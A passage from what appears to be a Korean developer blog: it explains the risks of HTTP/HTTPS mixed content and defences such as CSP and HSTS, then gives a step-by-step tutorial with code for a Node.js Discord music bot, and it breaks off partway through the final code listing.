해당 부분을 공부하며 지난 “행동대장” 프로젝트에서 CORS 에러를 마주치고 쿠키를 포함시켜 요청을 보내기 위해 많은 시간과 노력을 들였던 경험이 떠올랐다. 그때, 이 내용을 알았더라면 좀 더 빠르게 문제를 해결 할 수 있었을 것이라는 아쉬움이 들었다. 그러나, 이런 경험이 있기 때문에 이번에 해당 파트를 공부하면서 이해하기가 수월했던 것 같다. 다음에 비슷한 상황을 마주치게 된다면 공부했던 내용과 겪었던 경험을 떠올리며 이전보다는 수월하게 문제를 해결 할 수 있는 개발자가 되기를..!

📚 참고

왜 HTTP와 HTTPS 혼용 사용이 위험할까?: Mixed Content

HTTP와 HTTPS

웹에서 데이터를 주고받을 때 사용하는 대표적인 프로토콜이 바로 HTTP와 HTTPS이다.

구분 HTTP HTTPS
데이터 전송 방식 평문(Plaintext) 암호화(Encrypted, TLS/SSL 사용)
보안성 낮음 높음
주요 기능 기본 데이터 전송 암호화 + 무결성 + 인증 제공

HTTP(HyperText Transfer Protocol) 는 데이터를 암호화하지 않고 전송한다. 즉, 평문(Plaintext)으로 전송되기 때문에 중간에서 누군가가 데이터를 가로채거나 조작할 수 있는 위험이 있다.

HTTPS(HyperText Transfer Protocol Secure) 는 HTTP에 보안 기능이 추가된 프로토콜이다. TLS(SSL)를 통해 데이터를 암호화(Encryption) 하여 전송한다. 그렇기 때문에 보안성이 훨씬 뛰어나다. 따라서 사용자 정보, 로그인, 결제 등의 중요한 데이터를 다루는 서비스는 반드시 HTTPS를 사용해야 한다.

이렇게 HTTP https에 대해서 알게 되었는데, HTTP와 HTTPS에 대해 배우다 보면 HTTP와 HTTPS를 혼용하지 말라는 이야기를 듣는다. 왜 일까? HTTP와 HTTPS를 혼용하면 어떤 일이 일어나기에 혼용하여 사용하지 말라는 것일까?

TLS(SSL)란?
TLS(SSL)는 데이터를 암호화하여 주고받을 수 있도록 도와주는 기술로, 인터넷에서 주고받는 정보를 안전하게 지켜주는 역할이다. (SSL은 TLS의 옛 이름으로, 현재는 TLS라는 이름으로 더 많이 불린다.)

http와 https를 혼용 사용하면 발생하는 일

예를 들어, 우리가 어떤 은행 웹사이트(https://mybank.com)에 접속했다고 가정해보자. 이 사이트는 HTTPS로 안전하게 암호화되어 있으니까, 로그인이나 송금 같은 민감한 정보를 안전하게 입력할 수 있을 것이다.

그런데 이 안전한 페이지에서 불러오는 이미지나 자바스크립트 파일이 HTTP(보안되지 않은 주소) 로 되어 있다면 어떻게 될까?
로그인 버튼에 연결된 HTTP 스크립트를 공격자가 중간에 가로채서, 내 입력값(아이디, 비밀번호)을 훔쳐보거나 다른 서버로 보내게 만들 수도 있다. 혹은 HTTP 이미지가 변조되어, 정상적인 안내 이미지 대신 피싱 사이트로 유도하는 광고 배너로 바뀔 수도 있다.

즉, HTTPS 페이지라고 해서 무조건 안전한 게 아니라, 그 안에 있는 모든 리소스도 HTTPS로 안전하게 불러와야 진짜 안전한 것이다!

조금 더 이해하기 쉽게 일상생활을 비유로 설명해보자면, 피크닉을 가기 위해 도시락을 챙기기로 했다.

이때, HTTPS 페이지는 안전한 도시락이다. 그런데 그 안에 들어있는 반찬(이미지, JS, CSS 등)을 여름철 길거리 노점에서 산 음식(HTTP 리소스) 으로 가져왔다면? 도시락 통은 멀쩡하지만 안에 있는 반찬이 상했거나 변조됐다면 먹는 사람이 배탈이 날 수도 있다.

마찬가지로, HTTPS 페이지 안에 HTTP 리소스가 섞이면 전체 보안이 깨질 수 있는 것이다. 이처럼 http와 https를 섞어 사용하면 보안적으로 매우 위험한 상황이 발생할 수 있는데, 우리는 이런 상황을 Mixed Content(혼합 콘텐츠) 라고 부른다.

Mixed Content(혼합 콘텐츠)?

Mixed Content 는 HTTPS 페이지에서 HTTP 리소스를 함께 사용하는 것을 말한다. 예를 들어, https로 접속한 페이지에서 아래처럼 http로 스크립트나 이미지를 불러오는 경우이다.

<!-- HTTPS 페이지에서 HTTP 이미지 로드 -->
<img src="http://example.com/image.png" />

<!-- HTTPS 페이지에서 HTTP 스크립트 로드 -->
<script src="http://example.com/script.js"></script>

Mixed Content 패턴의 종류

Mixed Content는 다음 두 가지로 구분된다.

유형 설명 브라우저 반응 위험도
패시브 콘텐츠(Passive Content) 이미지, 오디오, 비디오 등 페이지의 동작과 직접 관련 없는 콘텐츠 일부 브라우저는 로드하지만 경고 표시 낮음
액티브 콘텐츠(Active Content) JS, CSS, iframe 등 페이지의 동작에 관여하는 리소스 대부분 브라우저에서 자동 차단 매우 높음

Pssive Content는 이미지와 오디오, 비디오와 같은 리소스가 Mixed Content를 발생시키는 패턴이다. 이런 리소스는 변경되면 잘못된 정보가 표시될 수는 있지만 브라우저에서 실행되는 코드는 포함하지 않기 때문에 위험도가 낮고 영향이 적다.

Active Content는 JS, CSS 등 브라우저에서 실행되는 코드에 대한 Mixed Content 패턴이다. 해당 코드가 변경되면 보안 공격과 같은 문제가 발생할 위험이 높아 큰 피해를 발생시킬 위험성이 있다. 그렇기에 대부분의 브라우저에서 다른 사이트에서 전송되는 Active Content의 하부 리소스 접근이 차단되도록 되어있다. 따라서 HTTP로 전송되는 JS와 CSS는 변경되지 않았어도 차단되어 제대로 동작하지 않을 때도 있음을 개발할 때 주의해야 한다.

Mixed Content의 위험성

HTTPS 페이지에서 HTTP 리소스를 함께 사용하면 다양한 보안 문제가 발생할 수 있다.

  • 중간자 공격(MITM): 공격자가 HTTP 리소스를 가로채서 악성 스크립트를 삽입하거나 페이지 동작을 변조할 수 있다.

  • 무결성 훼손: 전송 중 리소스가 변조되어 사용자가 원래와 다른 정보를 보게 될 수 있다.

  • 쿠키 및 사용자 정보 탈취: HTTP 요청을 통해 인증 쿠키나 입력한 개인정보가 공격자에게 노출될 수 있어 세션 탈취와 개인정보 유출의 위험이 있다.

  • 브라우저 경고 및 사이트 신뢰도 하락: 브라우저는 Mixed Content를 탐지하면 경고를 띄우거나 리소스를 차단하며, 이는 사용자 신뢰도 저하와 검색 엔진 최적화(SEO)에도 부정적인 영향을 준다.

Mixed Content를 방지하는 다양한 해결 방법

Mixed Content로 인해 발생할 수 있는, 다양한 보안 위험성을 방지하기 위한 해결 방법은 아래와 같다.

  • 모든 리소스 HTTPS로 통일
    이미지, JS, CSS 등 외부 리소스 URL을 HTTPS로 수정하고, 상대 경로나 프로토콜 상대 URL(// , ex) //example.com/script.js)을 사용해 불필요한 HTTP 참조를 방지한다.

  • Content Security Policy(CSP) 적용
    브라우저가 모든 리소스를 HTTPS로만 로드(default-src 'self' https:)하거나, HTTP 요청을 자동으로 HTTPS로 업그레이드(upgrade-insecure-requests)하도록 CSP를 설정한다.

    Content-Security-Policy: default-src 'self' https:; upgrade-insecure-requests;
    
  • HSTS 활성화
    브라우저가 해당 사이트는 무조건 HTTPS로 접속하도록 강제하는 HSTS 정책을 설정한다. 응답 헤더에 Strict-Transport-Security 헤더를 추가하여, 브라우저가 HTTPS를 사용하도록 강제한다.

    strict-transport-security: max-age=31536000; includeSubdomains; preload
    
  • 개발 단계에서 Mixed Content 검사
    개발자 도구 콘솔, 자동화된 테스트, Lint 검사, Lighthouse 등을 통해 HTTP 링크를 사전에 점검한다.

  • CDN, 외부 리소스 관리
    HTTPS를 지원하는 CDN을 사용하고 HTTPS를 지원하지 않는 리소스는 자체 호스팅하거나 다른 대안을 찾는다.

  • 서비스 워커 활용
    서비스 워커에서 HTTP 요청을 가로채 HTTPS로 리다이렉트하거나 차단하는 로직을 추가한다.

  • 모니터링 및 사용자 피드백 확인
    Sentry, Datadog 등 모니터링 툴로 Mixed Content 에러를 실시간 확인하고 사용자 피드백도 주기적으로 검토한다.

마무리 말

보안은 단 한 번의 실수로도 무너질 수 있는 중요한 부분이라고 생각한다. 개발 단계부터 배포 후 유지보수까지, Mixed Content를 방지하기 위한 꼼꼼한 관리와 점검은 선택이 아닌 필수이다. 작은 습관이 큰 사고를 예방한다는 마음으로 항상 안전한 웹사이트를 만들어 나갈 수 있도록하는 개발자가 되도록 할 것이다!

📚 참고

디스코드(Discord) 노래봇 만들기 🎵 (with Node.js)

나는 어쩌다가 디스코드 노래봇을 만들게 되었는가…

때는 4월 17일 20시.. 공부를 하기 위해 책상에 앉아 디스코드에 접속하여 서버에서 기존에 사용하던 노래봇을 실행하려 했는데.. 유튜브 검색이 제대로 작동하지 않았다. 그래서 나는 다른 노래봇을 새롭게 불러와 서버에 실행했지만? 또 안됐다. 그렇게 한국어를 지원하는 어느정도 인지도가 있는 노래봇만 6개를 실행해봤다. 근데, 내가 원하는 유튜브로 검색하여 실행이 제대로 돌아가지 않았다.

디스코드 노래봇 입장 채팅

원하는대로 돌아가지 않아 약간 빡친(?) 나는, 너가 이기나 내가 이기나 해보자는 심보로 디스코드 노래봇을 어떻게 만드는지 찾아봤다. 어렵지 않으면 내가 만드는게 더 빠를 것 같다는 생각이 들었다. 오, 근데 간단하게 찾아보니 그리 어렵지 않고 주로 JS 혹은 Python으로 만드는 것 같았다. 직접 만드는게 진짜 더 좋겠는데…? 라는 생각에, 나는 계획에도 없던 디스코드 노래봇을 만들게 되었다 ^^!

🦐 나만의 디스코드 노래봇, 대하 만들기

나의 디스코드 노래봇의 이름은 ‘대하’이다. 이름이 대하인 이유는.. 내 닉네임 ‘소하’에서 ‘소’를 작을 소로 보고 큰 ‘대’로 바꿔 노래봇의 이름을 대하로 지어줬다. 나의 분신같은 친구니까. ^~^

내가 만들 디스코드 노래봇은 Node.js 환경에서 ‘discord.js’와 관련된 라이브러리를 활용하여 구현했다. 코드가 복잡한 것 하나 없이 매우 간단하게 1시간이면 만들 수 있다.

🎯 목표

일단 내가 만들 디스코드 노래봇의 목표는 다음과 같다.

  • 디스코드 서버에서 명령어를 입력하면 유튜브에서 노래 검색 및 재생 <- 유튜브 기반 검색과 재생이 매우 중요!!
  • 기본적인 명령어: /재생, /스킵, /대기열, /종료
  • 봇은 지정된 서버에서만 사용 가능 (내가 존재하는 서버에서만 사용할 것이기 때문)

🛠️ 준비물

  • VSCode
  • Node.js (LTS 버전 권장)
  • Discord 계정 및 디스코드 개발자 포털에서 봇 생성 후 토큰 발급
  • FFmpeg 설치

🔧 노래봇을 만들어 보자!

1. 디스코드 개발자 포털 설정

디스코드 개발자 포털 설정은 어렵지 않다! 아래 이미지와 글을 잘 읽고 따라오면 쉽게 생성할 수 있다.

1. 새 애플리케이션 생성

디스코드 개발자 포털로 이동하여 로그인을 하고, 새 애플리케이션 생성 버튼을 클릭한다.

애플리케이션 생성

애플리케이션의 이름을 작성하고 Create 버튼을 클릭하면,

애플리케이션 이름 작성

애플리케이션 생성이 완료된다.

애플리케이션 생성 완료

Applicaion ID와 Public Key가 생성된 것을 확인할 수 있다. (이 두가지 정보는 이번 디스코드 노래봇 생성에는 사용되지 않음.)

2. Bot Token 생성

위 이미지에서 왼쪽 “Bot”을 클릭하고 “Add Bot” 클릭하면 Bot이 생성된다.
그리고 Bot 생성하고 Reset Token 버턴을 클릭하면 토큰이 만들어진다.
이 토큰(Token)을 복사하여 저장해둔다. 혹은 .env 파일에 보관해두면 된다. (이건 뒤에서 또 설명)

봇 토큰

3. “MESSAGE CONTENT INTENT” 옵션

Bot 섹션(Bot 페이지)에서 Privileged Gateway Intents 소제목 아래의 “MESSAGE CONTENT INTENT” 토글을 켜준다.

message content intent 옵션

Message Content Intent는 봇에게 Prefix 명령어(!play, !stop 등/messageCreate) 실행 시, message.content를 받으려면 켜야 한다. 단, 해당 옵션은 100개 이상 서버에 배포하려면 검증 및 승인 필요하다.

근데 여기서 잠깐! ✋ 슬래시 커맨드(/play)만 쓴다면, 이 Intent 없이도 명령 입력값을 받을 수 있다.

위 설명 방식은 messageCreate를 사용하지만 슬래시 커맨드를 사용한다면 interactionCreate를 사용하여 디스코드 내에서 자동완성 및 도움말을 제공할 수 있다. 단, messageCreate를 사용하여 구현하는 방식보다는 조금 더 만들기 복잡하다.

  • Prefix vs Slash 커맨드 비교

    구분 Prefix (messageCreate) Slash (interactionCreate)
    구현 난이도 간단 (문자열 파싱) 배포 스크립트 추가 필요
    사용자 UX 접두사+명령어 암기 필요 자동완성·도움말 제공 ✨
    Intent 필요 여부 Message Content Intent 필요 불필요
    서버 확장성 100개 이상 시 Intent 승인 필요 승인 절차 없이 배포 가능

    Slach 커맨드를 사용하는 것이 사용성을 고려했을 때 더 좋기 때문에.. 이건 추후 해당 방법으로 시도해보도록 하겠다! (일단 이번 글에서는 빠르게 구현이 목적이기 때문에 messageCreate를 사용)

4. Bot을 서버로 초대하기 위한 URL 생성

OAuth2 섹션에 접속하여 아래 내용들을 켜준다.

  • SCOPES: bot
  • BOT PERMISSIONS:
    • Connect
    • Speak
    • Send Messages
    • Embed Links

URL 생성 범위를 Bot으로 설정

OAuth2 bot 클릭

permisson 설정

OAuth2 bot permission 선택

위 설정들을 모두 완료했다면 생성된 ULR에 접속하여, 봇을 사용할 서버에 초대하면 끝! OAuth2 bot 초대 링크 복사

그러면 이렇게 디스코드 개발자 설정은 모두 완료되었다. 이제는 VScode를 실행하여 필요 패키지를 설치하고 코드를 작성하면 끝이다.

2. 프로젝트 초기 설정

폴더를 생성하고 프로젝트를 초기화한다.
폴더 이름은 본인이 원하는 것으로 아무거나 해도 된다.

npm init -y

3. FFmpeg 설치

FFmpeg는 YouTube 스트림을 디스코드에서 재생 가능한 오디오 포맷(Opus)으로 변환해준다. 설치하지 않을 경우 음성 스트림 변환 과정에서 에러가 발생하기 때문에 꼭 설치해야 한다!

brew install ffmpeg

4. 필요 패키지 설치

npm install discord.js @discordjs/voice @distube/ytdl-core yt-search dotenv @discordjs/opus
  • discord.js: 디스코드 API
  • @discordjs/voice: 음성 채널 재생
  • @distube/ytdl-core: YouTube 스트림 추출
  • yt-search: 키워드 기반 검색
  • dotenv: 환경변수 관리
  • @discordjs/opus: Opus 인코딩

여기서 @discordjs/opus는 우리 코드에서 직접적으로 호출되지는 않는다. 그럼에도 설치를 꼭! 해줘야 한다. 디스코드 음성은 Opus 코덱을 사용해서 전송된다. @discordjs/voice 패키지는 내부적으로 Opus 스트림을 주고받기 때문에, Node.js 환경에서 Opus 처리를 해 줄 라이브러리가 반드시 있어야 한다. 이때, @discordjs/opus가 사용된다. 우리가 코드에서 직접 호출하지 않지만 @discordjs/voice가 자동으로 감지해서 사용한다.

그렇기에 우리 코드에서 사용하지 않는다고 해당 패키지를 삭제해서는 안된다!

5. 환경변수 설정 (.env)

DISCORD_TOKEN=여기에_봇_토큰을_붙여넣기
PREFIX=/
GUILD_ID=여기에_서버_ID_입력
  • DISCORD_TOKEN: 위 애플리케이션 생성 단계에서 2. Bot Token 생성에서 얻은 토큰을 넣어주면 된다.
  • GUILD_ID: 봇을 허용할 서버 ID. 나의 경우에는 사용할 서버를 제한하는 조건을 넣을 것이기 때문에 해당 서버의 ID가 필요했다. (본인 프로필 설정 - 고급 - 개발자 모드 키고 사용할 서버 우클릭 - 서버 ID 복사하기 클릭)
  • PREFIX: 명령어 접두사, 나는 / 로 사용했다. 다른 접두사도 사용해도 된다. (ex, !, ? 등)

5. gitignore 설정 (Github에 올릴 경우에만)

node_modules/
.env

나의 경우에는 Github에 해당 코드를 업로드할 것이기 때문에 gitignore 설정을 해줬다. env 파일의 경우에는 다른 사람에게 공유되면 안되는 중요한 정보들이 들어있기 때문에 Github에 올라가지 않도록 꼭!!!! gitignore에 env 파일을 추가해줘야 한다.

6. index.js 주요 코드 설명

1. 환경 변수 및 모듈 임포트

환경 변수를 로드하고 필요한 모듈을 불러온다.

require('dotenv').config(); // .env 불러오기
const { Client, IntentsBitField, EmbedBuilder } = require('discord.js');
const { joinVoiceChannel, createAudioPlayer, createAudioResource, AudioPlayerStatus } = require('@discordjs/voice');
const ytdl = require('@distube/ytdl-core');
const ytSearch = require('yt-search');

2. 클라이언트 설정

디스코드 봇 클라이언트를 생성하고, 필요한 인텐트를 설정한다.

// 클라이언트 생성 (필요한 인텐트 활성화)
const client = new Client({
	intents: [
		IntentsBitField.Flags.Guilds, // 서버 접근
		IntentsBitField.Flags.GuildMessages, // 메시지 읽기
		IntentsBitField.Flags.MessageContent, // 메시지 내용
		IntentsBitField.Flags.GuildVoiceStates, // 음성 채널 상태
	],
});

const prefix = process.env.PREFIX;
const GUILD_ID = process.env.GUILD_ID;
const queueMap = new Map(); // 서버별 노래 대기열 저장

3. 봇 로그인 이벤트

봇이 정상적으로 로그인되면 터미널에 메시지를 출력한다. 만약 터미널에 해당 메시지가 출력되지 않으면 정상적으로 봇이 디스코드에서 작동하지 않을 것이다! 그렇기에 해당 코드를 추가하는 것을 추천한다.

// 봇 로그인
client.once('ready', () => {
	console.log(`✅ 로그인 완료! ${client.user.tag} (명령어 접두사: ${prefix})`);
});

4. 노래 재생 함수 (playSong)

실제 음악 스트림을 생성하고 재생하며, 곡이 끝나면 자동으로 다음 곡을 재생한다.

  • 노래를 정상적으로 재생할 경우
// 곡 재생 함수
async function playSong(guildId, song) {
	const queue = queueMap.get(guildId);
	if (!song) {
		queue.connection.destroy();
		queueMap.delete(guildId);
		return;
	}
	// 스트림 생성
	const stream = ytdl(song.url, { filter: 'audioonly', highWaterMark: 1 << 25 });
	const resource = createAudioResource(stream);
	queue.player.play(resource);
	queue.connection.subscribe(queue.player);

	// 텍스트 알림
	queue.textChannel.send(`▶️ 재생: 🦐 ${song.title} 🦐`);

	// 노래 종료 후 처리
	queue.player.once(AudioPlayerStatus.Idle, () => {
		playSong(guildId, queue.songs.shift());
	});
}

5. 명령어 처리 (messageCreate 이벤트)

  • /재생: 유튜브 링크나 제목을 통해 음악을 검색 및 재생한다.
  • /스킵: 현재 재생 중인 노래를 건너뛴다.
  • /대기열: 현재 재생을 기다리는 노래 목록을 보여준다.
  • /종료: 음악 재생을 종료하고 봇을 음성 채널에서 내보낸다.
// 메시지 이벤트
client.on('messageCreate', async (message) => {
	if (message.author.bot) return; // 봇의 메시지는 무시
	if (!message.guild) return; // DM 등 무시
	if (message.guild.id !== GUILD_ID) {
		// 지정 서버 외 사용 제한
		return message.reply('❌ 이 서버에서는 사용할 수 없어요!');
	}
	if (!message.content.startsWith(prefix)) return;

	// 사용자의 명령어만 추출하는 코드
	const args = message.content.slice(prefix.length).trim().split(/ +/);
	const cmd = args.shift();

	// 재생 명령어: /재생 <키워드 or URL>
	if (cmd === '재생') {
		// ... 하단에 세부 코드가 따로 있음.
	}

	// 스킵 명령어: /스킵
	else if (cmd === '스킵') {
		// ... 하단에 세부 코드가 따로 있음.
	}

	// 목록 명령어: /대기열
	else if (cmd === '대기열') {
		// ... 하단에 세부 코드가 따로 있음.
	}

	// 종료 명령어: /종료
	else if (cmd === '종료') {
		// ... 하단에 세부 코드가 따로 있음.
	}
});
  • 재생

    • 노래 제목이나 URL이 없을 경우: ‘⚠️ 노래 제목이나 URL을 입력해주세요!’
    • 사용자가 음성 채널에 들어가있지 않을 경우: ‘🎧 먼저 음성 채널에 들어가 주세요!’
    • 검색 결과가 없을 경우: ‘😥 검색 결과가 없습니다…’
    • 노래가 재생중인 상태일 때, 노래를 대기열에 정상적으로 추가했을 경우: ✅ 🦐 노래 제목🦐 를 대기열에 추가했어요!
    if (cmd === '재생') {
    	const query = args.join(' ');
    	if (!query) return message.reply('⚠️ 노래 제목이나 URL을 입력해주세요!');
    	const voiceChannel = message.member.voice.channel;
    	if (!voiceChannel) return message.reply('🎧 먼저 음성 채널에 들어가 주세요!');
    
    	// URL인지 확인
    	let songInfo, song;
    	if (ytdl.validateURL(query)) {
    		songInfo = await ytdl.getInfo(query);
    		song = { title: songInfo.videoDetails.title, url: songInfo.videoDetails.video_url };
    	} else {
    		// 키워드 검색
    		const { videos } = await ytSearch(query);
    		if (!videos.length) return message.reply('😥 검색 결과가 없습니다...');
    		song = { title: videos[0].title, url: videos[0].url };
    	}
    
    	// 대기열 관리
    	let queue = queueMap.get(message.guild.id);
    	if (!queue) {
    		// 1) 플레이어를 생성하고
    		const player = createAudioPlayer();
    		// 2) 에러 핸들러 등록 (스트림 에러 시 다음 곡으로 넘어가도록)
    		player.on('error', (error) => {
    			console.error('🔴 AudioPlayerError:', error);
    			// 다음 곡 재생 시도
    			playSong(message.guild.id, queue.songs.shift());
    		}); // 3) 큐 객체에 player를 포함시켜 저장
    		queue = {
    			voiceChannel,
    			textChannel: message.channel,
    			player,
    			songs: [],
    		};
    		queueMap.set(message.guild.id, queue);
    
    		// 채널 조인
    		const connection = joinVoiceChannel({
    			channelId: voiceChannel.id,
    			guildId: message.guild.id,
    			adapterCreator: message.guild.voiceAdapterCreator,
    		});
    		queue.connection = connection;
    		playSong(message.guild.id, queue.songs.shift() || song);
    	} else {
    		queue.songs.push(song);
    		return message.reply(`✅ 🦐 ${song.title} 🦐 를 대기열에 추가했어요!`);
    	}
    }
    

    결과
    재생

  • 스킵

    • 스킵할 노래가 없을 경우: ‘⚠️ 스킵할 노래가 없어요!’’
    • 노래를 정상적으로 스킵할 경우: ‘⏭️ 노래를 스킵합니다!’
    // 스킵 명령어: /스킵
    else if (cmd === '스킵') {
    	const queue = queueMap.get(message.guild.id);
    	// 1) 큐가 없거나, 2) 재생 중인 노래가 없고 대기열도 비어 있으면
    	if (!queue || (queue.player.state.status !== AudioPlayerStatus.Playing && queue.songs.length === 0)) {
    		return message.reply('⚠️ 스킵할 노래가 없어요!');
    	}
    	queue.player.stop();
    	return message.reply('⏭️ 노래를 스킵합니다!');
    }
    

    결과
    스킵

  • 대기열

    • 대기열이 비어있을 경우: ‘📃 대기열이 비어있어요!’
    • 재생 대기열이 존재할 경우: ‘🎵 재생 대기열 ~~’
    // 목록 명령어: /대기열
    else if (cmd === '대기열') {
    	const queue = queueMap.get(message.guild.id);
    	if (!queue || queue.songs.length === 0) {
    		return message.reply('📃 대기열이 비어있어요!');
    	}
    	const embed = new EmbedBuilder()
    		.setTitle('🎵 재생 대기열')
    		.setDescription(queue.songs.map((s, i) => `${i + 1}. ${s.title}`).join('\n'))
    		.setColor('#7E51F4');
    	return message.channel.send({ embeds: [embed] });
    }
    

    결과
    대기열

  • 종료

    • 종료할 곡이 없을 경우: ‘⚠️ 종료할 곡이 없어요!’
    • 노래를 정상적으로 종료했을 경우: ‘👋 노래를 종료하고 🦐대하는 떠납니다!’
    // 종료 명령어: /종료
    else if (cmd === '종료') {
    	const queue = queueMap.get(message.guild.id);
    
    	// 1) 큐가 없거나,
    	// 2) 재생 중인 곡이 없고(플레이어가 Playing 상태가 아니고),
    	//    대기열(songs)도 비어 있으면
    	if (!queue || (queue.player.state.status !== AudioPlayerStatus.Playing && queue.songs.length === 0)) {
    		return message.reply('⚠️ 종료할 곡이 없어요!');
    	}
    	queue.player.stop();
    	queue.connection.destroy();
    	queueMap.delete(message.guild.id);
    	return message.reply('👋 노래를 종료하고 🦐대하는 떠납니다!');
    }
    

    결과
    종료

🚨 내가 겪은 오류와 해결방법

🐞 문제 상황

npm run start를 통해 코드를 실행시키면 아래와 같은 경고가 발생했다.

npm WARN EBADENGINE Unsupported engine {
npm WARN EBADENGINE   required: { node: '20 || >=22' },
npm WARN EBADENGINE   current: { node: 'v21.0.0', npm: '9.5.1' }
}

해당 메시지는 설치하는 패키지들이 현재 사용 중인 Node.js 버전(21.0.0)을 공식적으로 지원하지 않는다는 의미이다.

💡 원인 분석

Node.js는 크게 두 가지 방식으로 버전을 관리한다.

  • 짝수 버전(20, 22, 24 등) 👉 장기 지원(LTS) 버전
  • 홀수 버전(21, 23 등) 👉 단기 지원, 실험적인 버전

많은 라이브러리와 패키지들은 안정성이 보장된 LTS 버전만 공식 지원 하도록 제한을 걸어둔다. 해당 경고는 Node.js의 현재 버전(21.x)이 짝수인 20버전이나 22 이상의 버전으로 설정된 지원 범위에서 벗어나기 때문에 나타난다.

✅ 해결 방법

가장 권장되는 방법은 Node.js의 LTS 버전을 사용 하는 것이다.

🔖 nvm으로 LTS 버전 설치하기

다음 명령어를 사용하면 손쉽게 버전을 바꿀 수 있다. (단, 해당 방법은 nvm으로 Node를 설치 했을 경우에만 가능하다.)

# LTS 최신 버전(v22.x) 설치
nvm install v22.14.0

# 설치된 LTS 버전 사용하기
nvm use v22.14.0

이렇게 하면 경고가 사라지고 패키지와의 호환성 문제가 해결된다!

📝 명령어 사용 방법

  • /재생 [유튜브 링크 또는 제목]: 입력한 링크 또는 제목을 검색하여 재생
  • /스킵: 현재 재생중인 노래를 스킵
  • /대기열: 재생 대기 중인 곡들을 리스트로 출력
  • /종료: 봇의 노래 재생 종료

🖥️ 봇 실행하기

터미널에서 다음 명령어로 봇을 실행한다.

node index.js
# 또는 개발 시 nodemon 활용
npm install -g nodemon
nodemon index.js

두 명령어로 실행이 가능한데 매번 저렇게 터미널에 작성하기 귀찮으니 package.json의 스크립트에 만들어두자.

//...
	"scripts": {
		"start": "node index.js",
		"dev": "nodemon index.js"
	},
//...

개발을 마치며

디스코드 노래봇 사용하다가 빡쳐서 만들었는데 어쩌다 보니 그닥 어렵지도 않고 만들고 사용하면서 지난번에 다른 사람들이 제작한 봇을 사용했을 때 보다 음질이 더 좋아서 아주 만족했다! 다음번에는 내가 서버를 열지 않아도 자동으로 서버가 계속 열려있을 수 있도록 ec2도 사용하고 디스코드에 노래봇을 사용할 때 명령어와 설명이 나올 수 있도록 interactionCreate를 사용해서 더 디벨롭해볼 예정이다.

그럼 아래에 index.js 풀 코드를 올리며 이만~ 오늘 글 끝!

index.js 풀 코드

require('dotenv').config(); // .env 불러오기
const { Client, IntentsBitField, EmbedBuilder } = require('discord.js');
const { joinVoiceChannel, createAudioPlayer, createAudioResource, AudioPlayerStatus } = require('@discordjs/voice');
const ytdl = require('@distube/ytdl-core');
const ytSearch = require('yt-search');

// 클라이언트 생성 (필요한 인텐트 활성화)
const client = new Client({
	intents: [
		IntentsBitField.Flags.Guilds, // 서버 접근
		IntentsBitField.Flags.GuildMessages, // 메시지 읽기
		IntentsBitField.Flags.MessageContent, // 메시지 내용
		IntentsBitField.Flags.GuildVoiceStates, // 음성 채널 상태
	],
});

const prefix = process.env.PREFIX;
const GUILD_ID = process.env.GUILD_ID;
const queueMap = new Map(); // 서버별 노래 대기열 저장

// 봇 로그인
client.once('ready', () => {
	console.log(`✅ 로그인 완료! ${client.user.tag} (명령어 접두사: ${prefix})`);
});

// 메시지 이벤트
client.on('messageCreate', async (message) => {
	if (message.author.bot) return; // 봇의 메시지는 무시
	if (!message.guild) return; // DM 등 무시
	if (message.guild.id !== GUILD_ID) {
		// 지정 서버 외 사용 제한
		return message.reply('❌ 이 서버에서는 사용할 수 없어요!');
	}
	if (!message.content.startsWith(prefix)) return;

	const args = message.content.slice(prefix.length).trim().split(/ +/);
	const cmd = args.shift();

	// 재생 명령어: /재생 <키워드 or URL>
	if (cmd === '재생') {
		const query = args.join(' ');
		if (!query) return message.reply('⚠️ 노래 제목이나 URL을 입력해주세요!');
		const voiceChannel = message.member.voice.channel;
		if (!voiceChannel) return message.reply('🎧 먼저 음성 채널에 들어가 주세요!');

		// URL인지 확인
		let songInfo, song;
		if (ytdl.validateURL(query)) {
			songInfo = await ytdl.getInfo(query);
			song = { title: songInfo.videoDetails.title, url: songInfo.videoDetails.video_url };
		} else {
			// 키워드 검색
			const { videos } = await ytSearch(query);
			if (!videos.length) return message.reply('😥 검색 결과가 없습니다...');
			song = { title: videos[0].title, url: videos[0].url };
		}

		// 대기열 관리
		let queue = queueMap.get(message.guild.id);
		if (!queue) {
			// queue = { voiceChannel, textChannel: message.channel, player: createAudioPlayer(), songs: [] };
			// 1) 플레이어를 생성하고
			const player = createAudioPlayer();
			// 2) 에러 핸들러 등록 (스트림 에러 시 다음 곡으로 넘어가도록)
			player.on('error', (error) => {
				console.error('🔴 AudioPlayerError:', error);
				// 다음 곡 재생 시도
				playSong(message.guild.id, queue.songs.shift());
			}); // 3) 큐 객체에 player를 포함시켜 저장
			queue = {
				voiceChannel,
				textChannel: message.channel,
				player,
				songs: [],
			};
			queueMap.set(message.guild.id, queue);

			// 채널 조인
			const connection = joinVoiceChannel({
				channelId: voiceChannel.id,
				guildId: message.guild.id,
				adapterCreator: message.guild.voiceAdapterCreator,
			});
			queue.connection = connection;
			playSong(message.guild.id, queue.songs.shift() || song);
		} else {
			queue.songs.push(song);
			return message.reply(`✅ 🦐 ${song.title} 🦐 를 대기열에 추가했어요!`);
		}
	}

	// 스킵 명령어: /스킵
	else if (cmd === '스킵') {
		const queue = queueMap.get(message.guild.id);
		// 1) 큐가 없거나, 2) 재생 중인 노래가 없고 대기열도 비어 있으면
		if (!queue || (queue.player.state.status !== AudioPlayerStatus.Playing && queue.songs.length === 0)) {
			return message.reply('⚠️ 스킵할 노래가 없어요!');
		}
		queue.player.stop();
		return message.reply('⏭️ 노래를 스킵합니다!');
	}

	// 목록 명령어: /대기열
	else if (cmd === '대기열') {
		const queue = queueMap.get(message.guild.id);
		if (!queue || queue.songs.length === 0) {
			return message.reply('📃 대기열이 비어있어요!');
		}
		const embed = new EmbedBuilder()
			.setTitle('🎵 재생 대기열')
			.setDescription(queue.songs.map((s, i) => `${i + 1}. ${s.title}`).join('\n'))
			.setColor('#7E51F4');
		return message.channel.send({ embeds: [embed] });
	}

	// 종료 명령어: /종료
	else if (cmd === '종료') {
		const queue = queueMap.get(message.guild.id);

		// 1) 큐가 없거나,
		// 2) 재생 중인 곡이 없고(플레이어가 Playing 상태가 아니고),
		//    대기열(songs)도 비어 있으면
		if (!queue || (queue.player.state.status !== AudioPlayerStatus.Playing && queue.songs.length === 0)) {
			return message.reply('⚠️ 종료할 곡이 없어요!');
		}
		queue.player.stop();
		queue.connection.destroy();
		queueMap.delete(message.guild.id);
		return message.reply('👋 노래를 종료하고 🦐대하는 떠납니다!');
	}
});

// 곡 재생 함수
async function playSong(guildId, song) {
